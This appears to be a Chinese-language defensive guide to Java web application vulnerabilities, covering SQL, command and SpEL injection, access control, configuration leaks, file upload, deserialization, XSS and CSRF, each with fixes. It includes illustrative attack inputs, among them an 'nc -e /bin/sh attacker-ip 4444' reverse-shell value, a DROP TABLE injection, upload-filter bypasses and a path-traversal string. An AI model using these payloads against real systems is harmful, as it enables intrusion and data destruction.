Java Web应用安全漏洞深度剖析与实战防护指南
1. 项目概述:为什么JAVAWEB项目漏洞频发?
干了这么多年安全,我发现一个挺有意思的现象:但凡提到企业级应用的安全测试,JAVAWEB项目总是绕不开的重灾区。这倒不是说Java语言或者生态本身有多不安全,而是由它的生态位决定的。想想看,银行的核心系统、大型电商的后台、政府单位的OA,这些对稳定性、复杂业务处理能力要求极高的场景,JAVAWEB框架(尤其是Spring全家桶)几乎是首选。项目规模大、历史包袱重、第三方依赖多,再加上开发团队水平参差不齐、安全意识跟不上业务迭代速度,各种漏洞就像野草一样,春风吹又生。
我经手过的渗透测试项目里,十个有八个是JAVAWEB的。从简单的信息泄露到复杂的反序列化RCE,几乎每个项目都能挖出点东西。很多开发兄弟觉得用了Spring Security、做了参数校验就万事大吉,其实远不是那么回事。框架是帮你省事的,不是替你背锅的。错误配置、不当使用、对底层机制理解不透,才是漏洞滋生的温床。这篇文章,我就结合自己踩过的坑和挖过的洞,把JAVAWEB项目里那些最常见、也最容易被忽视的漏洞点,掰开揉碎了讲清楚。目标就一个:无论是开发还是安全测试,看完能立刻对照自己的项目查漏补缺,知道坑在哪,怎么避,怎么修。
2. 注入类漏洞:不止于SQL
提到JAVAWEB漏洞,很多人第一反应就是SQL注入。这没错,但它只是注入漏洞的一个子集。在JAVAWEB的语境下,注入风险的面要广得多。
2.1 SQL注入:MyBatis与Hibernate的“安全幻觉”
现在直接用JDBC拼接SQL字符串的初级错误已经少了很多,大家普遍用MyBatis或Hibernate。但用了ORM框架就绝对安全吗?大错特错。
MyBatis的“${}”陷阱:这是最经典的坑。MyBatis中#{}是预编译占位符,能防止SQL注入;而${}是字符串替换,直接将参数拼接到SQL语句中。如果开发人员图省事,或者在不了解区别的情况下,在ORDER BY、LIKE、IN等动态查询场景中使用了${},漏洞就产生了。
<!-- 危险示例:使用${}进行动态排序 --> <select id="findUsers" parameterType="map" resultType="User"> SELECT * FROM users ORDER BY ${sortField} ${sortOrder} </select>攻击者可以构造sortField参数为id; DROP TABLE users--,后果不堪设想。
实操心得:在代码审计时,我第一个动作就是全局搜索
${。对于必须动态拼接的场景(如动态表名、字段名),必须进行严格的白名单校验。比如,只允许sortField是id、name、create_time这几个预定义的字段。
HQL与JPQL注入:Hibernate的HQL和JPA的JPQL看起来是面向对象的查询,但如果不使用参数绑定,同样存在注入风险。createQuery("from User where name = '" + name + "'")这种写法依然危险。正确的做法是使用命名参数(:name)或位置参数(?)。
即使参数化查询也未必安全:有些复杂的业务场景,比如动态的多条件搜索,开发可能会先拼接WHERE子句字符串,再整体作为参数传入createQuery。这实际上绕过了预编译的保护。安全的做法是使用Criteria API或QueryDSL来动态构建类型安全的查询。
2.2 命令注入与表达式注入
这类漏洞危害极大,往往直接导致服务器被控制。
命令注入(Command Injection):常见于需要调用系统命令的功能,比如通过Runtime.getRuntime().exec()执行系统命令来管理文件、调用外部程序等。如果用户输入未经净化就直接拼接进命令字符串,攻击者就可以用;、&、|、\n等分隔符执行任意命令。
// 危险示例:从请求参数获取文件名并删除 String fileName = request.getParameter("file"); Runtime.getRuntime().exec("rm /tmp/" + fileName);攻击者传入file参数为important.log; nc -e /bin/sh attacker-ip 4444,就能在服务器上反弹一个shell。
避坑指南:绝对不要直接拼接用户输入到系统命令中。如果必须执行命令,应使用数组形式传递参数(
exec(new String[]{“rm”, “/tmp/” + fileName})),但这仍不能完全解决路径遍历等问题。最根本的方法是进行严格的输入验证(白名单),并考虑使用安全的API替代系统命令,比如用Java NIO的Files.delete()来删除文件。
表达式注入(Expression Language Injection):主要发生在JSP EL、OGNL(Struts2)、SpEL(Spring)等表达式解析场景。如果用户输入被直接用于表达式求值,就可能执行任意代码。
- JSP EL注入:旧版JSP中,如果允许用户控制EL表达式的部分内容,如
${param.userInput},而userInput本身又是一个EL表达式如${7*7},就可能被计算。不过,现代Servlet容器默认已做防护。 - Spring SpEL注入:这是高危区。Spring的
@Value注解、ExpressionParser、StandardEvaluationContext等,如果解析了不可信的用户输入,就会导致RCE。一个著名的案例就是Spring Data Commons的CVE-2018-1273。
// 危险示例:使用StandardEvaluationContext解析用户输入(默认支持全部功能) ExpressionParser parser = new SpelExpressionParser(); StandardEvaluationContext context = new StandardEvaluationContext(); String userInput = request.getParameter("expr"); // 攻击者传入:T(java.lang.Runtime).getRuntime().exec('calc') Expression exp = parser.parseExpression(userInput); Object value = exp.getValue(context); // 执行计算器程序!修复方案:对于SpEL,在解析不可信输入时,必须使用SimpleEvaluationContext替代StandardEvaluationContext,因为前者只支持数据绑定和简单的属性访问,禁用了类型构造器、bean引用、方法调用等危险功能。
3. 失效的访问控制与业务逻辑漏洞
这类漏洞不依赖任何技术栈的特定缺陷,纯粹是业务逻辑设计或实现上的疏漏,但危害性极高,直接关系到核心业务和资金安全。
3.1 水平越权与垂直越权
- 水平越权(Insecure Direct Object References, IDOR):用户A能访问用户B的数据。根本原因是在进行数据操作时,服务端没有校验当前请求的用户ID是否与数据的所有者ID匹配。比如,修改个人资料的接口为
/api/user/update?id=123,后端只根据id=123去数据库更新,没有检查这个id是否属于当前登录的会话用户。攻击者只需遍历id参数,就能修改所有用户的信息。 - 垂直越权:普通用户能执行管理员的操作。比如,后台管理功能的URL路径被猜测到(
/admin/deleteUser),而服务端仅依靠前端菜单隐藏或路由守卫,没有在后端接口进行角色权限校验。
排查技巧:测试越权漏洞,核心方法是“换号测试”。准备两个不同权限的账号(如普通用户A和管理员B)。用A的身份登录,抓取一个操作请求(如查看订单、修改信息)。然后,在另一个浏览器或用工具,使用B的身份登录,但尝试将A的请求(包括URL、参数、Cookie等)原封不动地重放,观察是否能以B的身份成功执行A的操作,或者反过来。自动化工具很难发现这类漏洞,手动测试是关键。
3.2 业务逻辑漏洞实例
这类漏洞千变万化,考验的是对业务的理解深度。
支付漏洞:
- 金额篡改:支付请求中,前端传递商品价格到后端,后端未校验或校验不严,导致攻击者可以修改为0.01元购买高价商品。
- 负数购买/充值:商品数量或充值金额参数接受负数,导致总价计算出现负数,可能触发系统退款或增加用户余额。
- 重复提交/并发竞争:支付回调处理逻辑不当,网络重发或并发请求可能导致一笔订单重复发货或多次充值。
验证码漏洞:
- 验证码可绕过:验证码校验逻辑放在前端,或者后端校验后,无论成功失败都进入下一步流程。
- 验证码复用:同一个验证码在有效期内可多次使用,被攻击者爆破。
- 验证码暴力破解:验证码为4位纯数字,且无尝试次数限制和IP频率限制,可被轻易破解。
密码重置漏洞:
- 凭证泄漏:重置密码的链接中,token过于简单(如使用用户ID或时间戳)或可预测,导致攻击者能重置他人密码。
- 邮箱/手机号篡改:在重置流程中,允许用户控制发送验证码的目标邮箱或手机号,而未与待重置账号进行强绑定校验。
防御之道:所有业务逻辑的关键操作,必须遵循“服务端校验、不可信原则”。价格、数量、权限、身份等核心数据,必须从服务端可信数据源(如数据库)重新获取并校验,绝不能依赖前端传递的参数。关键流程(如支付、重置密码)需要设计成状态机,防止步骤跳过或乱序。
4. 敏感信息泄露与配置不当
JAVAWEB项目结构复杂,依赖众多,一不小心就会把“家底”暴露在公网。
4.1 源码与配置信息泄露
- Git/SVN信息泄露(.git/.svn目录):这是低级但极其常见的错误。如果生产环境部署时,将整个项目目录(包含版本控制目录)直接拷贝到Web根目录,攻击者访问
/.git/或/.svn/,就可能利用工具(如dvcs-ripper)下载全部源码,其中可能包含数据库密码、API密钥等敏感配置。 - DS_Store文件泄露:macOS系统在目录中自动生成的
.DS_Store文件,可能包含目录结构信息。 - 备份文件泄露:开发人员临时备份的
index.jsp.bak、web.xml.bak、database.properties.old等文件,如果遗留在Web目录下,可直接被下载。 - 配置文件泄露:
/WEB-INF/web.xml是核心配置,如果服务器配置错误(如Tomcat对JSP请求处理不当),可能导致其源码被读取。/WEB-INF/classes/下的.class文件或.properties配置文件也可能被直接访问。
4.2 调试接口与监控组件暴露
这是Spring Boot等现代框架项目中的高发问题。
- Actuator端点未授权访问:Spring Boot Actuator提供了
/actuator/health、/actuator/info、/actuator/env、/actuator/heapdump等丰富的监控和管理端点。如果生产环境没有正确配置安全(如未引入Spring Security,或权限规则配置宽松),攻击者访问/actuator/env可以直接看到所有环境变量(包括密码),访问/actuator/heapdump可以下载内存堆转储文件,并用工具分析出内存中的敏感数据。 - Swagger/OpenAPI文档未授权访问:为了方便前后端联调,Swagger UI(通常位于
/swagger-ui.html、/v2/api-docs)经常被开启。如果生产环境没有关闭或加以访问控制,攻击者可以直接看到所有API接口、参数格式,甚至在线调用,相当于拿到了系统的“地图”。 - Nacos、Consul等配置中心未授权:微服务架构中,如果Nacos、Consul等服务注册发现/配置中心的管理界面暴露在公网且未设密码,攻击者可以动态修改应用配置,甚至直接接管服务。
安全配置清单:上线前,务必检查以下配置:
application-prod.properties/yml中,确保management.endpoints.web.exposure.include=health,info(仅暴露必要的)。- 通过Spring Security对
/actuator/**路径进行IP白名单或角色授权。- 设置
management.endpoint.health.show-details=never。- 生产环境禁用Swagger:
springfox.swagger.enabled=false。- 确保Nacos等中间件有强密码,且管理端口不对外网开放。
4.3 错误信息泄露
详细的错误信息(Stack Trace)是开发者的朋友,却是攻击者的情报来源。Tomcat默认的错误页面会暴露Java版本、框架版本、代码片段、数据库驱动信息、绝对路径等。
攻击利用:攻击者通过故意触发异常(如传入非法参数)来收集这些信息,用于寻找已知漏洞的利用方式。例如,发现错误信息中显示org.apache.struts2,就会尝试Struts2的历史RCE漏洞。
修复方法:在web.xml中配置自定义的错误页面,对所有HTTP错误(4xx,5xx)返回统一的、信息模糊的页面。
<error-page> <error-code>500</error-code> <location>/error.html</location> </error-page>在Spring Boot中,可以实现ErrorController接口来自定义错误响应。同时,确保日志系统记录详细的错误信息以供排查,但绝不返回给客户端。
5. 文件上传与反序列化漏洞
这两个是JAVAWEB中极易导致服务器沦陷的高危漏洞。
5.1 文件上传漏洞的攻防拉锯战
文件上传功能如果防护不当,攻击者可以直接上传Webshell(如JSP马),获取服务器控制权。
常见的绕过姿势与防御:
| 攻击手法 | 描述 | 防御措施 |
|---|---|---|
| 前端JS校验绕过 | 仅在前端通过JS检查文件后缀名。 | 使用Burp Suite等工具拦截请求,修改文件名即可绕过。防御:后端校验才是根本。 |
| 黑名单绕过 | 服务端禁止.jsp,.php等后缀。 | 尝试.jspx,.jspf,.jsp.(Windows特性),利用大小写.JsP,或.jsp%00.jpg(空字节截断,需特定环境)。 |
| MIME类型绕过 | 检查Content-Type为image/jpeg。 | 直接修改请求包中的Content-Type头。防御:检查文件魔数(文件头字节),更可靠。 |
| 文件内容绕过 | 检查文件开头是否为图片魔数。 | 在图片末尾追加Webshell代码(制作图片马)。对于JSP,可能仍能被解析。防御:对图片进行二次渲染(压缩、裁剪),破坏植入的代码。 |
| 解析漏洞利用 | 服务器配置问题,如Apache的test.jsp.jpg可能被解析为jsp。 | 了解中间件(IIS, Nginx, Apache)的解析特性。防御:保持中间件版本最新,规范配置。 |
| 竞争条件攻击 | 文件先保存到临时目录,再检查内容,检查不通过再删除。 | 在文件被删除前,高速并发访问该临时文件,可能执行成功。防御:先检查,后保存,且保存时使用随机不可预测的文件名。 |
终极安全建议:
- 白名单校验:只允许上传业务必需的后缀,如
.jpg,.png,.pdf。 - 重命名:使用“时间戳+随机数+后缀”的方式重命名文件,防止被猜测路径。
- 隔离存储:上传的文件不要保存在Web应用目录下,应放在专用的存储服务器或非Web可访问的路径,通过后端程序代理访问。
- 禁用执行权限:在存储目录的配置中,确保该目录没有执行脚本的权限。
- 使用云存储OSS:将文件上传压力和安全问题转移给云服务商。
5.2 反序列化漏洞:框架深处的“暗雷”
Java反序列化漏洞是核弹级别的威胁,主要出现在接收序列化数据流的地方,如RPC通信、消息队列、缓存数据、HTTP参数等。
漏洞原理:Java在反序列化对象时,会自动调用对象的readObject()方法。如果类路径中存在一些“危险”的类库(如Apache Commons Collections, Groovy, Spring等),其readObject()或相关方法(如Transformer,getter/setter)可以被精心构造的调用链(Gadget Chain)串联起来,最终执行任意命令。
常见触发点:
- HTTP参数:早期Apache Struts2的
Content-Type为multipart/form-data时,会使用Java反序列化处理参数,引发S2-045等漏洞。 - RMI/JMX/JMS:Java远程方法调用、管理和消息服务默认使用Java序列化。
- 缓存数据:Redis、Memcached等缓存客户端接收的序列化数据。
- 自定义协议:应用内部定义的、使用
ObjectInputStream读取网络数据的协议。
一个简化示例:假设一个应用从HTTP请求中读取数据并进行反序列化。
// 危险代码 try (ObjectInputStream ois = new ObjectInputStream(request.getInputStream())) { Object obj = ois.readObject(); // 攻击者传入精心构造的序列化数据 // ... 处理obj }攻击者使用ysoserial等工具,生成一个利用Apache Commons Collections库的Gadget Chain构造的序列化Payload,发送给这个接口,就能在服务器上执行命令。
防御策略:
- 升级与替换:尽快升级所有已知存在Gadget Chain的第三方库(如Commons Collections)到安全版本。
- 输入替代:避免使用Java原生反序列化。使用JSON(Jackson, Gson)、XML、Protobuf等更安全的序列化格式。
- 反序列化过滤器:如果必须使用,在Java 9+中,可以使用
ObjectInputFilter设置反序列化白名单,只允许反序列化业务预期的少数类。 - 代码审计:在项目中全局搜索
ObjectInputStream、readObject、readResolve等关键字,审查其数据来源是否可信。
6. 跨站脚本与请求伪造
这两类漏洞虽然发生在用户浏览器侧,但根源在服务端,是JAVAWEB中非常普遍的客户端安全风险。
6.1 跨站脚本攻击的深入防御
XSS的本质是“数据被当成了代码执行”。JAVAWEB中,根据漏洞发生的场景和利用方式,主要分三类:
- 反射型XSS:恶意脚本作为请求的一部分发送给服务器,服务器将其“反射”回响应页面中执行。常见于搜索框、错误提示页。
https://victim.com/search?keyword=<script>alert(1)</script>。 - 存储型XSS:恶意脚本被持久化保存到服务器数据库,当其他用户访问包含此数据的页面时触发。常见于论坛评论、用户昵称、留言板。
- DOM型XSS:漏洞根源在前端JavaScript代码,不经过服务器。JS代码(如
innerHTML,eval,location.hash)不安全地处理了用户可控的数据(如URL片段)。
JAVAWEB后端防御核心:输出编码与内容安全策略
输出编码(Output Encoding):这是最根本的防御。原则是在数据输出到特定上下文时,进行对应的编码。
- 输出到HTML正文:使用HTML实体编码。
<变成<,>变成>。在JSP中,可以使用JSTL的<c:out value="${userInput}">标签,它默认会进行编码。不要使用${userInput}或<%= userInput %>。 - 输出到HTML属性:除了HTML编码,还要对引号进行编码。
"变成"。 - 输出到JavaScript:进行JavaScript Unicode转义。
\u003cscript\u003e...。 - 输出到URL:进行URL编码。
- 推荐使用OWASP Java Encoder项目:它提供了针对不同上下文的编码器。
import org.owasp.encoder.Encode; String safeHtml = Encode.forHtml(userInput); String safeJs = Encode.forJavaScript(userInput);
- 输出到HTML正文:使用HTML实体编码。
内容安全策略:这是纵深防御的最后一道屏障。通过HTTP响应头
Content-Security-Policy,告诉浏览器只允许加载和执行来自哪些源的脚本、样式、图片等。即使存在XSS漏洞,攻击者也无法加载外部的恶意脚本。Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none';这个策略表示:默认只允许同源资源;脚本只允许同源和
trusted.cdn.com;完全禁止<object>等插件。可以极大限制XSS的影响。输入验证:作为辅助手段,对输入数据的格式、长度、类型进行严格校验(如邮箱格式、手机号格式),但绝不能替代输出编码。
6.2 跨站请求伪造的精准防护
CSRF攻击利用了“浏览器会自动携带用户Cookie访问已认证网站”的机制。攻击者诱骗已登录用户点击一个链接或访问一个页面,这个页面会向目标网站(如银行)发起一个恶意请求(如转账),因为用户的Cookie有效,这个请求会被服务器认为是用户的合法操作。
JAVAWEB后端防御策略:
使用CSRF Token(同步器令牌模式):这是最有效的方法。
- 原理:服务器在用户会话中生成一个随机、不可预测的Token(如UUID),在渲染表单(或任何可能改变状态的请求)时,将此Token作为一个隐藏字段(
<input type="hidden" name="_csrf" value="token">)或放入请求头(如X-CSRF-TOKEN)。 - 校验:当用户提交请求时,服务器校验请求中的Token是否与会话中存储的Token一致。攻击者无法获取或预测这个Token,因此无法构造出合法的请求。
- Spring Security的实现:Spring Security默认就提供了CSRF防护。对于表单提交,它会自动添加Token;对于JSON API,需要前端手动从Cookie中读取Token(默认Cookie名为
XSRF-TOKEN),并在每次请求的Header(默认X-XSRF-TOKEN)中携带。
- 原理:服务器在用户会话中生成一个随机、不可预测的Token(如UUID),在渲染表单(或任何可能改变状态的请求)时,将此Token作为一个隐藏字段(
校验Origin/Referer Header:检查HTTP请求头中的
Origin或Referer字段,判断请求是否来自同源站点。但这不是绝对可靠,因为某些情况下浏览器可能不发送这些头,或者可以被篡改(在HTTPS到HTTP的跳转中)。设置SameSite Cookie属性:将Cookie的
SameSite属性设置为Strict或Lax。这可以阻止浏览器在跨站请求中自动发送Cookie,从根源上削弱CSRF攻击。这是现代浏览器支持的重要安全特性。// 在Spring Boot配置中 @Bean public CookieSerializer cookieSerializer() { DefaultCookieSerializer serializer = new DefaultCookieSerializer(); serializer.setSameSite("Lax"); // 或 "Strict" return serializer; }
**重要区别**:CSRF Token防御的是**跨站**的请求伪造,而XSS攻击可能**窃取到CSRF Token**(如果Token通过Cookie或JS可读的方式存储)。因此,防御CSRF的同时,必须做好XSS的防护,两者相辅相成。 ## 7. 第三方组件与依赖漏洞 现代JAVAWEB项目严重依赖开源组件,一个项目引入上百个依赖是常事。这些依赖中的任何一个存在已知漏洞,都会让你的整个应用暴露在风险之下。 ### 7.1 依赖漏洞扫描与管理 **漏洞来源**:主要是Maven的`pom.xml`或Gradle的`build.gradle`中声明的直接依赖和传递依赖。 **攻击方式**:攻击者通过指纹识别(如响应头中的`X-Powered-By: Servlet/3.1`、错误信息、特定URL路径)确定你使用的框架和组件版本,然后寻找公开的Exploit(如Struts2 S2-045, Spring Cloud Function SpEL RCE, Log4j2)进行攻击。 **防御与实践**: 1. **自动化扫描(左移安全)**:将漏洞扫描集成到CI/CD流程中。 * **工具**:OWASP Dependency-Check、Sonatype OSS Index、GitHub Dependabot、Snyk。 * **流程**:在代码构建阶段,这些工具会自动分析项目依赖树,并与NVD等漏洞数据库比对,生成报告。可以设置门禁,发现高危漏洞则构建失败。 2. **定期升级与补丁管理**: * 不要长期使用无人维护的旧版本组件。 * 关注使用组件的安全公告邮件列表、GitHub Issue。 * 为项目制定依赖升级策略,如每季度全面升级一次依赖版本。 3. **最小化依赖原则**:在`pom.xml`中,仔细审查每一个引入的依赖,问自己是否真的需要。移除不必要的依赖,减少攻击面。 4. **使用Bill of Materials**:对于Spring、Apache等大型项目,使用其官方提供的BOM(材料清单),可以统一管理一组兼容的依赖版本,避免版本冲突和引入不兼容的、有漏洞的传递依赖。 ### 7.2 安全开发生命周期集成 安全不是测试阶段才考虑的事情,必须贯穿整个软件开发生命周期。 * **需求与设计阶段**:进行威胁建模,识别潜在的安全威胁(如数据流图、信任边界分析)。 * **编码阶段**:使用FindSecBugs、SpotBugs等静态代码分析工具,集成到IDE或构建流程,自动检测潜在的安全编码缺陷。 * **测试阶段**:除了功能测试,必须包含安全测试。 * **动态扫描**:使用OWASP ZAP、Burp Suite Professional对测试环境进行自动化漏洞扫描。 * **渗透测试**:定期(如每季度或每次大版本发布前)聘请专业安全人员或由内部安全团队进行手动渗透测试。 * **部署与运维阶段**: * **最小权限原则**:运行Java应用的系统用户(如`tomcat`)应具有最小必要权限,不能是`root`。 * **网络隔离**:数据库、Redis、Nacos等中间件不应暴露在公网,应置于内网,通过防火墙或安全组严格控制访问源。 * **日志与监控**:开启完整的访问日志、错误日志、安全日志(如登录失败、越权访问尝试),并接入监控告警系统。 ## 8. 实战排查清单与工具链 纸上得来终觉浅,绝知此事要躬行。最后,我把自己在项目审计和渗透测试中常用的一套排查思路和工具分享出来,你可以直接当作检查清单来用。 ### 8.1 黑盒测试快速入口点 当你拿到一个JAVAWEB应用进行授权测试时,可以按以下顺序快速寻找突破口: 1. **信息收集**: * **指纹识别**:使用浏览器插件(Wappalyzer)、命令行工具(whatweb)或手工查看HTTP响应头、Cookie、错误页面、静态资源路径(如`/static/spring.png`),确定技术栈(Spring Boot, Struts2, Shiro等)及其大致版本。 * **目录扫描**:使用dirsearch、gobuster等工具,扫描常见的备份文件(`.bak`, `.zip`)、管理后台(`/admin`, `/manage`)、配置文件(`/WEB-INF/web.xml`)、API文档(`/swagger-ui.html`)、监控端点(`/actuator`)。 * **子域名与端口**:探测关联的子域名和开放的非标准端口,可能发现测试环境、管理后台等。 2. **功能点遍历**: * 注册、登录、密码找回、个人资料编辑、文件上传、数据查询导出……每一个功能点都可能隐藏着逻辑漏洞或注入点。 * **重点关注**:所有涉及用户输入的地方,所有涉及文件操作的地方,所有涉及身份切换或权限判断的地方。 3. **参数FUZZ**: * 对每个请求参数进行模糊测试。尝试SQL注入Payload、XSS Payload、命令注入Payload、路径遍历Payload(`../../../etc/passwd`)、特殊的头(如`X-Forwarded-For`)、不同的HTTP方法(PUT, DELETE)。 * **工具**:Burp Suite的Intruder模块、sqlmap、XSStrike等。 ### 8.2 白盒审计核心关注点 如果你是开发或拥有源码,代码审计是更彻底的排查方式。 1. **全局搜索危险函数/关键字**: * **SQL相关**:`Statement.execute`, `executeQuery`, `createQuery`(拼接字符串)、`${`(MyBatis)。 * **命令执行**:`Runtime.exec`, `ProcessBuilder`, `GroovyShell.evaluate`。 * **文件操作**:`FileInputStream/OutputStream`, `new File`(用户输入拼接路径)。 * **反序列化**:`ObjectInputStream.readObject`, `readResolve`, `readExternal`。 * **表达式解析**:`SpelExpressionParser.parseExpression`, `StandardEvaluationContext`, `@Value("#{…}")`。 * **重定向/转发**:`response.sendRedirect`, `RequestDispatcher.forward`(参数用户可控可能导致SSRF)。 2. **审查安全配置**: * **Spring Security配置**:检查`WebSecurityConfigurerAdapter`的配置,URL权限规则是否覆盖全面,是否有默认放行的路径。 * **CORS配置**:是否过于宽松(`allowedOrigins: "*"`)。 * **Actuator配置**:生产环境是否暴露了过多端点。 * **数据库/Redis密码**:是否硬编码在配置文件里,是否使用了弱密码。 3. **依赖检查**: * 运行`mvn dependency:tree`或`gradle dependencies`,列出所有依赖。 * 使用`OWASP Dependency-Check`扫描,重点关注`spring-boot-starter-*`, `commons-*`, `fastjson`, `log4j`等常用组件的版本。 ### 8.3 我的工具箱 * **集成测试平台**:Burp Suite Professional(渗透测试瑞士军刀)。 * **漏洞扫描**:AWVS、Nessus(商业);OWASP ZAP(开源)。 * **专项检测**: * SQL注入:sqlmap。 * XSS:XSStrike。 * 目录/文件:dirsearch、gobuster。 * 子域名:subfinder、amass。 * **代码审计**:IDEA + FindSecBugs插件、Fortify SCA(商业)、Semgrep。 * **依赖扫描**:OWASP Dependency-Check、Snyk CLI。 * **中间件/框架漏洞利用**:搜索对应CVE的Exp,如Struts2、Shiro、Log4j2的专用检测工具。 安全是一个持续的过程,没有一劳永逸的银弹。对于JAVAWEB项目,从框架安全配置、安全编码规范、第三方依赖管理,到上线前的安全检查清单和运行时的监控告警,每一个环节都松懈不得。最好的防御,是让团队里的每一个开发都具备基本的安全意识,在写每一行代码的时候,都能下意识地问一句:“这样写,安全吗?”